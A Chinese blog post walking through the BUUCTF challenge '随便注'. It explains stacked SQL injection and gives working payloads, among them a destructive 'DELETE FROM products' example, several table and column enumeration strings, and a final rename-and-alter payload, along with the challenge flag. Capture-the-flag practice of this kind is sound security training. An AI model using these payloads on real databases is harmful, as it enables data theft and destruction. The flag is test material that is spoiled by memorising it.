码迷,mamicode.com
首页 > 其他好文 > 详细

buuctf 随便注

时间:2021-06-06 19:29:18      阅读:0      评论:0      收藏:0      [点我收藏+]

标签:mamicode   令行   gen   网上   区别   显示   word   rom   因此   

堆叠注入定义

Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

mysql 堆叠注入命令

查看所有数据库:0’;show databases;%23
查看当前数据库的表: 1’;show tables;%23
查看某个表的某个字段: 0’;show columns from users;%23
把users表名改为user:rename tables users to user
把flag字段改为data:alert table words change flag data varchar(100);%23

尝试堆叠注入,好像有东西

技术图片

继续查

技术图片

猜测flag在`1919810931114514`表里

网上搜索接下来的步骤,0‘;desc `1919810931114514`;#查看表结构

那么查询语句很有可能是 : selsect id,data from words where id =

因为可以堆叠查询,这时候就想到了一个改名的方法,把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id,结合上面的1‘ or 1=1#爆出表所有内容就可以查flag啦

payload:

0‘;rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#

技术图片技术图片

得到flag 

flag{492456b2-c49d-4ec2-8d75-c4211277efc5}

 

buuctf 随便注

标签:mamicode   令行   gen   网上   区别   显示   word   rom   因此   

原文地址:https://www.cnblogs.com/lixin666/p/14855036.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!